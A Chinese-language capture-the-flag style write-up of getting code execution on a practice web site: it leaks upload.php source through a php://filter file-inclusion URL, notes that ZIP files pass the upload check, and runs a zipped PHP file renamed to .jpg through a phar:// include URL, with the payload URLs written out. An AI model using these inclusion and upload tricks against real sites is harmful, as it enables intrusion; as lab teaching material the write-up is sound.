记一次简单的GetShell案例

时间:2022-11-24 06:58:38

案例链接:

http://202.112.51.184:8007/

打开链接,发现分了多个页面:

记一次简单的GetShell案例

记一次简单的GetShell案例

记一次简单的GetShell案例

挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:

记一次简单的GetShell案例

于是输入:

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

得到一串base64编码:

记一次简单的GetShell案例

在线解密后得到网页隐藏源码:

 <html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=mime_content_type($tmpName);
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip'))
{
echo "hehe";
echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
echo mime_content_type($tmpName);
echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>

从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手

在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:

<?php phpinfo();?>

将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:

记一次简单的GetShell案例

然后记住图片ID,在view页搜索后跳转出现以下页面:

记一次简单的GetShell案例

这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:

http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

记一次简单的GetShell案例